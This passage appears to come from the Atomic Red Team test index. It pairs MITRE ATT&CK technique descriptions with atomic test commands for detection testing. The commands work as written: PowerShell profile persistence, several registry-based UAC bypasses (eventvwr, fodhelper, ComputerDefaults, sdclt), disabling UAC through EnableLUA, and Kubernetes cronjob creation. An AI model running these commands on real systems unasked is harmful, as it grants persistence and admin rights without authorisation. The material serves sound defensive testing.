      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1546.013:
    technique:
      modified: '2023-10-20T17:04:13.976Z'
      name: 'Event Triggered Execution: PowerShell Profile'
      description: "Adversaries may gain persistence and elevate privileges by executing
        malicious content triggered by PowerShell profiles. A PowerShell profile  (<code>profile.ps1</code>)
        is a script that runs when [PowerShell](https://attack.mitre.org/techniques/T1059/001)
        starts and can be used as a logon script to customize user environments.\n\n[PowerShell](https://attack.mitre.org/techniques/T1059/001)
        supports several profiles depending on the user or host program. For example,
        there can be different profiles for [PowerShell](https://attack.mitre.org/techniques/T1059/001)
        host programs such as the PowerShell console, PowerShell ISE or Visual Studio
        Code. An administrator can also configure a profile that applies to all users
        and host programs on the local computer. (Citation: Microsoft About Profiles)
        \n\nAdversaries may modify these profiles to include arbitrary commands, functions,
        modules, and/or [PowerShell](https://attack.mitre.org/techniques/T1059/001)
        drives to gain persistence. Every time a user opens a [PowerShell](https://attack.mitre.org/techniques/T1059/001)
        session the modified script will be executed unless the <code>-NoProfile</code>
        flag is used when it is launched. (Citation: ESET Turla PowerShell May 2019)
        \n\nAn adversary may also be able to escalate privileges if a script in a
        PowerShell profile is loaded and executed by an account with higher privileges,
        such as a domain administrator. (Citation: Wits End and Shady PowerShell Profiles)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_contributors:
      - Allen DeRyke, ICE
      - Matt Green, @mgreen27
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Locations where <code>profile.ps1</code> can be stored should be monitored for new profiles or modifications. (Citation: Malware Archaeology PowerShell Cheat Sheet)(Citation: Microsoft Profiles) Example profile locations (user defaults as well as program-specific) include:

        * <code>$PsHome\Profile.ps1</code>
        * <code>$PsHome\Microsoft.{HostProgram}_profile.ps1</code>
        * <code>$Home\\\[My ]Documents\PowerShell\Profile.ps1</code>
        * <code>$Home\\\[My ]Documents\PowerShell\Microsoft.{HostProgram}_profile.ps1</code>

        Monitor abnormal PowerShell commands, unusual loading of PowerShell drives or modules, and/or execution of unknown programs.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'File: File Creation'
      x_mitre_permissions_required:
      - User
      - Administrator
      type: attack-pattern
      id: attack-pattern--0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3
      created: '2020-01-24T15:11:02.758Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1546/013
        external_id: T1546.013
      - source_name: Wits End and Shady PowerShell Profiles
        description: 'DeRyke, A.. (2019, June 7). Lab Notes: Persistence and Privilege
          Elevation using the Powershell Profile. Retrieved July 8, 2019.'
        url: https://witsendandshady.blogspot.com/2019/06/lab-notes-persistence-and-privilege.html
      - source_name: ESET Turla PowerShell May 2019
        description: Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell
          usage. Retrieved June 14, 2019.
        url: https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/
      - source_name: Malware Archaeology PowerShell Cheat Sheet
        description: Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING
          CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.
        url: http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf
      - source_name: Microsoft About Profiles
        description: Microsoft. (2017, November 29). About Profiles. Retrieved June
          14, 2019.
        url: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6
      - source_name: Microsoft Profiles
        description: Microsoft. (2021, September 27). about_Profiles. Retrieved February
          4, 2022.
        url: https://docs.microsoft.com/powershell/module/microsoft.powershell.core/about/about_profiles
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1546.013
    atomic_tests:
    - name: Append malicious start-process cmdlet
      auto_generated_guid: '090e5aa5-32b6-473b-a49b-21e843a56896'
      description: 'Appends a start process cmdlet to the current user''s powershell
        profile pofile that points to a malicious executable. Upon execution, calc.exe
        will be launched.

        '
      supported_platforms:
      - windows
      input_arguments:
        exe_path:
          description: Path the malicious executable
          type: path
          default: calc.exe
        ps_profile:
          description: Powershell profile to use
          type: string
          default: "$profile"
      dependency_executor_name: powershell
      dependencies:
      - description: 'Ensure a powershell profile exists for the current user

          '
        prereq_command: 'if (Test-Path #{ps_profile}) {exit 0} else {exit 1}

          '
        get_prereq_command: 'New-Item -Path #{ps_profile} -Type File -Force

          '
      executor:
        command: |
          Add-Content #{ps_profile} -Value ""
          Add-Content #{ps_profile} -Value "Start-Process #{exe_path}"
          powershell -Command exit
        cleanup_command: |
          $oldprofile = cat $profile | Select-Object -skiplast 1
          Set-Content $profile -Value $oldprofile
        name: powershell
  T1543:
    technique:
      modified: '2024-02-15T14:14:03.942Z'
      name: Create or Modify System Process
      description: "Adversaries may create or modify system-level processes to repeatedly
        execute malicious payloads as part of persistence. When operating systems
        boot up, they can start processes that perform background system functions.
        On Windows and Linux, these system processes are referred to as services.(Citation:
        TechNet Services) On macOS, launchd processes known as [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)
        and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) are run
        to finish system initialization and load user specific parameters.(Citation:
        AppleDocs Launch Agent Daemons) \n\nAdversaries may install new services,
        daemons, or agents that can be configured to execute at startup or a repeatable
        interval in order to establish persistence. Similarly, adversaries may modify
        existing services, daemons, or agents to achieve the same effect.  \n\nServices,
        daemons, or agents may be created with administrator privileges but executed
        under root/SYSTEM privileges. Adversaries may leverage this functionality
        to create or modify system processes in order to escalate privileges.(Citation:
        OSX Malware Detection)  "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_deprecated: false
      x_mitre_detection: "Monitor for changes to system processes that do not correlate
        with known software, patch cycles, etc., including by comparing results against
        a trusted system baseline. New, benign system processes may be created during
        installation of new software. Data and events should not be viewed in isolation,
        but as part of a chain of behavior that could lead to other activities, such
        as network connections made for Command and Control, learning details about
        the environment through Discovery, and Lateral Movement.  \n\nCommand-line
        invocation of tools capable of modifying services may be unusual, depending
        on how systems are typically used in a particular environment. Look for abnormal
        process call trees from known services and for execution of other commands
        that could relate to Discovery or other adversary techniques. \n\nMonitor
        for changes to files associated with system-level processes."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      - Containers
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Service: Service Creation'
      - 'Container: Container Creation'
      - 'Driver: Driver Load'
      - 'Service: Service Modification'
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'File: File Modification'
      - 'File: File Creation'
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Process: OS API Execution'
      - 'Command: Command Execution'
      type: attack-pattern
      id: attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5
      created: '2020-01-10T16:03:18.865Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1543
        external_id: T1543
      - source_name: AppleDocs Launch Agent Daemons
        description: Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved
          July 10, 2017.
        url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html
      - source_name: TechNet Services
        description: Microsoft. (n.d.). Services. Retrieved June 7, 2016.
        url: https://technet.microsoft.com/en-us/library/cc772408.aspx
      - source_name: OSX Malware Detection
        description: 'Patrick Wardle. (2016, February 29). Let''s Play Doctor: Practical
          OS X Malware Detection & Analysis. Retrieved July 10, 2017.'
        url: https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1546.006:
    technique:
      x_mitre_platforms:
      - macOS
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847
      created: '2020-01-24T14:21:52.750Z'
      x_mitre_version: '1.0'
      external_references:
      - source_name: mitre-attack
        external_id: T1546.006
        url: https://attack.mitre.org/techniques/T1546/006
      - source_name: Malware Persistence on OS X
        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
        description: Patrick Wardle. (2015). Malware Persistence on OS X Yosemite.
          Retrieved July 10, 2017.
      - source_name: Writing Bad Malware for OSX
        url: https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf
        description: Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved
          July 10, 2017.
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.

        Adversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time.(Citation: Malware Persistence on OS X)
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: LC_LOAD_DYLIB Addition
      x_mitre_detection: Monitor processes for those that may be used to modify binary
        headers. Monitor file systems for changes to application binaries and invalid
        checksums/signatures. Changes to binaries that do not line up with application
        updates or patches are also extremely suspicious.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Metadata'
      - 'Process: Process Creation'
      - 'File: File Modification'
      - 'Module: Module Load'
      x_mitre_permissions_required:
      - User
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1053.007:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Kubernetes Cronjob
      description: |-
        Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.

        In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Center for Threat-Informed Defense (CTID)
      - Vishwas Manral, McAfee
      - Yossi Weizman, Azure Defender Research Team
      x_mitre_deprecated: false
      x_mitre_detection: 'Monitor for the anomalous creation of scheduled jobs in
        container orchestration environments. Use logging agents on Kubernetes nodes
        and retrieve logs from sidecar proxies for application and resource pods to
        monitor malicious container orchestration job deployments. '
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Containers
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'Container: Container Creation'
      - 'Scheduled Job: Scheduled Job Creation'
      x_mitre_permissions_required:
      - User
      x_mitre_remote_support: true
      type: attack-pattern
      id: attack-pattern--1126cab1-c700-412f-a510-61f4937bb096
      created: '2021-03-29T17:06:22.247Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1053/007
        external_id: T1053.007
      - source_name: Kubernetes CronJob
        description: The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved
          March 29, 2021.
        url: https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/
      - source_name: Kubernetes Jobs
        description: The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March
          30, 2021.
        url: https://kubernetes.io/docs/concepts/workloads/controllers/job/
      - source_name: Threat Matrix for Kubernetes
        description: Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved
          March 30, 2021.
        url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1053.007
    atomic_tests:
    - name: ListCronjobs
      auto_generated_guid: ddfb0bc1-3c3f-47e9-a298-550ecfefacbd
      description: 'Kubernetes Job is a controller that creates one or more pods and
        ensures that a specified number of them successfully terminate. Kubernetes
        Job can be used to run containers that perform finite tasks for batch jobs.
        Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes
        CronJob for scheduling execution of malicious code that would run as a container
        in the cluster.

        '
      supported_platforms:
      - containers
      input_arguments:
        namespace:
          description: K8s namespace to list
          type: string
          default: default
      dependencies:
      - description: 'kubectl must be installed

          '
        get_prereq_command: 'echo "kubectl must be installed manually"

          '
        prereq_command: 'which kubectl

          '
      executor:
        command: 'kubectl get cronjobs -n #{namespace}

          '
        name: bash
        elevation_required: false
    - name: CreateCronjob
      auto_generated_guid: f2fa019e-fb2a-4d28-9dc6-fd1a9b7f68c3
      description: 'Kubernetes Job is a controller that creates one or more pods and
        ensures that a specified number of them successfully terminate. Kubernetes
        Job can be used to run containers that perform finite tasks for batch jobs.
        Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes
        CronJob for scheduling execution of malicious code that would run as a container
        in the cluster.

        '
      supported_platforms:
      - containers
      input_arguments:
        namespace:
          description: K8s namespace to list
          type: string
          default: default
      dependencies:
      - description: 'kubectl must be installed

          '
        get_prereq_command: 'echo "kubectl must be installed manually"

          '
        prereq_command: 'which kubectl

          '
      executor:
        command: 'kubectl create -f src/cronjob.yaml -n #{namespace}

          '
        cleanup_command: 'kubectl delete cronjob art -n #{namespace}

          '
        name: bash
        elevation_required: false
  T1548.002:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Abuse Elevation Control Mechanism: Bypass User Account Control'
      description: |-
        Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)

        If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)

        Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:

        * <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)

        Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Stefan Kanthak
      - Casey Smith
      x_mitre_deprecated: false
      x_mitre_detection: |-
        There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes.

        Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:

        * The <code>eventvwr.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\Software\Classes\mscfile\shell\open\command</code> Registry key.(Citation: enigma0x3 Fileless UAC Bypass)

        * The <code>sdclt.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe</code> and <code>[HKEY_CURRENT_USER]\Software\Classes\exefile\shell\runas\command\isolatedCommand</code> Registry keys.(Citation: enigma0x3 sdclt app paths)(Citation: enigma0x3 sdclt bypass)

        Analysts should monitor these Registry settings for unauthorized changes.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '2.1'
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Process: Process Metadata'
      x_mitre_defense_bypassed:
      - Windows User Account Control
      x_mitre_effective_permissions:
      - Administrator
      x_mitre_permissions_required:
      - Administrator
      - User
      type: attack-pattern
      id: attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073
      created: '2020-01-30T14:24:34.977Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1548/002
        external_id: T1548.002
      - source_name: Davidson Windows
        description: Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November
          12, 2014.
        url: http://www.pretentiousname.com/misc/win7_uac_whitelist2.html
      - source_name: TechNet How UAC Works
        description: Lich, B. (2016, May 31). How User Account Control Works. Retrieved
          June 3, 2016.
        url: https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works
      - source_name: SANS UAC Bypass
        description: Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June
          3, 2016.
        url: http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass
      - source_name: MSDN COM Elevation
        description: Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July
          26, 2016.
        url: https://msdn.microsoft.com/en-us/library/ms679687.aspx
      - source_name: enigma0x3 Fileless UAC Bypass
        description: Nelson, M. (2016, August 15). "Fileless" UAC Bypass using eventvwr.exe
          and Registry Hijacking. Retrieved December 27, 2016.
        url: https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
      - source_name: enigma0x3 sdclt app paths
        description: Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved
          May 25, 2017.
        url: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
      - source_name: enigma0x3 sdclt bypass
        description: Nelson, M. (2017, March 17). "Fileless" UAC Bypass Using sdclt.exe.
          Retrieved May 25, 2017.
        url: https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/
      - source_name: TechNet Inside UAC
        description: 'Russinovich, M. (2009, July). User Account Control: Inside Windows
          7 User Account Control. Retrieved July 26, 2016.'
        url: https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx
      - source_name: Fortinet Fareit
        description: Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses
          UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.
        url: https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware
      - source_name: Github UACMe
        description: UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.
        url: https://github.com/hfiref0x/UACME
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1548.002
    atomic_tests:
    - name: Bypass UAC using Event Viewer (cmd)
      auto_generated_guid: 5073adf8-9a50-4bd9-b298-a9bd2ead8af9
      description: "Bypasses User Account Control using Event Viewer and a relevant
        Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/\nUpon
        execution command prompt should be launched with administrative privileges.
        \n"
      supported_platforms:
      - windows
      input_arguments:
        executable_binary:
          description: Binary to execute with UAC Bypass
          type: path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: |
          reg.exe add hkcu\software\classes\mscfile\shell\open\command /ve /d "#{executable_binary}" /f
          cmd.exe /c eventvwr.msc
        cleanup_command: 'reg.exe delete hkcu\software\classes\mscfile /f >nul 2>&1

          '
        name: command_prompt
    - name: Bypass UAC using Event Viewer (PowerShell)
      auto_generated_guid: a6ce9acf-842a-4af6-8f79-539be7608e2b
      description: |
        PowerShell code to bypass User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
        Upon execution command prompt should be launched with administrative privalages
      supported_platforms:
      - windows
      input_arguments:
        executable_binary:
          description: Binary to execute with UAC Bypass
          type: path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: |
          New-Item "HKCU:\software\classes\mscfile\shell\open\command" -Force
          Set-ItemProperty "HKCU:\software\classes\mscfile\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force
          Start-Process "C:\Windows\System32\eventvwr.msc"
        cleanup_command: 'Remove-Item "HKCU:\software\classes\mscfile" -force -Recurse
          -ErrorAction Ignore

          '
        name: powershell
    - name: Bypass UAC using Fodhelper
      auto_generated_guid: 58f641ea-12e3-499a-b684-44dee46bd182
      description: |
        Bypasses User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.
        Upon execution, "The operation completed successfully." will be shown twice and command prompt will be opened.
      supported_platforms:
      - windows
      input_arguments:
        executable_binary:
          description: Binary to execute with UAC Bypass
          type: path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: |
          reg.exe add hkcu\software\classes\ms-settings\shell\open\command /ve /d "#{executable_binary}" /f
          reg.exe add hkcu\software\classes\ms-settings\shell\open\command /v "DelegateExecute" /f
          fodhelper.exe
        cleanup_command: 'reg.exe delete hkcu\software\classes\ms-settings /f >nul
          2>&1

          '
        name: command_prompt
    - name: Bypass UAC using Fodhelper - PowerShell
      auto_generated_guid: 3f627297-6c38-4e7d-a278-fc2563eaaeaa
      description: |
        PowerShell code to bypass User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10.
        Upon execution command prompt will be opened.
      supported_platforms:
      - windows
      input_arguments:
        executable_binary:
          description: Binary to execute with UAC Bypass
          type: path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: |
          New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force
          New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
          Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force
          Start-Process "C:\Windows\System32\fodhelper.exe"
        cleanup_command: 'Remove-Item "HKCU:\software\classes\ms-settings" -force
          -Recurse -ErrorAction Ignore

          '
        name: powershell
    - name: Bypass UAC using ComputerDefaults (PowerShell)
      auto_generated_guid: 3c51abf2-44bf-42d8-9111-dc96ff66750f
      description: |
        PowerShell code to bypass User Account Control using ComputerDefaults.exe on Windows 10
        Upon execution administrative command prompt should open
      supported_platforms:
      - windows
      input_arguments:
        executable_binary:
          description: Binary to execute with UAC Bypass
          type: path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: |
          New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force
          New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
          Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force
          Start-Process "C:\Windows\System32\ComputerDefaults.exe"
        cleanup_command: 'Remove-Item "HKCU:\software\classes\ms-settings" -force
          -Recurse -ErrorAction Ignore

          '
        name: powershell
    - name: Bypass UAC by Mocking Trusted Directories
      auto_generated_guid: f7a35090-6f7f-4f64-bb47-d657bf5b10c1
      description: |
        Creates a fake "trusted directory" and copies a binary to bypass UAC. The UAC bypass may not work on fully patched systems
        Upon execution the directory structure should exist if the system is patched, if unpatched Microsoft Management Console should launch
      supported_platforms:
      - windows
      input_arguments:
        executable_binary:
          description: Binary to execute with UAC Bypass
          type: path
          default: C:\Windows\System32\cmd.exe
      executor:
        command: |
          mkdir "\\?\C:\Windows \System32\"
          copy "#{executable_binary}" "\\?\C:\Windows \System32\mmc.exe"
          mklink c:\testbypass.exe "\\?\C:\Windows \System32\mmc.exe"
        cleanup_command: |
          rd "\\?\C:\Windows \" /S /Q >nul 2>nul
          del "c:\testbypass.exe" >nul 2>nul
        name: command_prompt
        elevation_required: true
    - name: Bypass UAC using sdclt DelegateExecute
      auto_generated_guid: 3be891eb-4608-4173-87e8-78b494c029b7
      description: |
        Bypasses User Account Control using a fileless method, registry only.
        Upon successful execution, sdclt.exe will spawn cmd.exe to spawn notepad.exe
        [Reference - sevagas.com](http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass)
        Adapted from [MITRE ATT&CK Evals](https://github.com/mitre-attack/attack-arsenal/blob/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/stepFourteen_bypassUAC.ps1)
      supported_platforms:
      - windows
      input_arguments:
        command_to_execute:
          description: Command to execute
          type: string
          default: cmd.exe /c notepad.exe
      executor:
        command: |
          New-Item -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Value '#{command_to_execute}'
          New-ItemProperty -Force -Path "HKCU:\Software\Classes\Folder\shell\open\command" -Name "DelegateExecute"
          Start-Process -FilePath $env:windir\system32\sdclt.exe
          Start-Sleep -s 3
        cleanup_command: 'Remove-Item -Path "HKCU:\Software\Classes\Folder" -Recurse
          -Force -ErrorAction Ignore

          '
        name: powershell
    - name: Disable UAC using reg.exe
      auto_generated_guid: 9e8af564-53ec-407e-aaa8-3cb20c3af7f9
      description: |
        Disable User Account Conrol (UAC) using the builtin tool reg.exe by changing its registry key
        HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA from 1 to 0
      supported_platforms:
      - windows
      executor:
        command: 'reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
          /v EnableLUA /t REG_DWORD /d 0 /f

          '
        cleanup_command: 'reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
          /v EnableLUA /t REG_DWORD /d 1 /f

          '
        name: command_prompt
        elevation_required: true
    - name: Bypass UAC using SilentCleanup task
      auto_generated_guid: 28104f8a-4ff1-4582-bcf6-699dce156608
      description: |
        Bypass UAC using SilentCleanup task on Windows 8-10 using bat file from https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/

        There is an auto-elevated task called SilentCleanup located in %windir%\system32\cleanmgr.exe This can be abused to elevate any file with Administrator privileges without prompting UAC (even highest level).

        For example, we can set the windir registry kye to: "cmd /k REM "

        And forcefully run SilentCleanup task:

        schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I

        REM will tell it to ignore everything after %windir% and treat it just as a NOTE. Therefore just executing cmd with admin privs.
      supported_platforms:
      - windows
      input_arguments:
        file_path:
          description: Path to the bat file
          type: string
          default: PathToAtomicsFolder\T1548.002\src\T1548.002.bat
      executor:
        command: '"#{file_path}"

          '
        name: command_prompt
        elevation_required: false
    - name: UACME Bypass Method 23
      auto_generated_guid: 8ceab7a2-563a-47d2-b5ba-0995211128d7
      description: "Executes User Account Control Bypass according to the methods
        listed below. Upon successful execution you should see event viewer load and
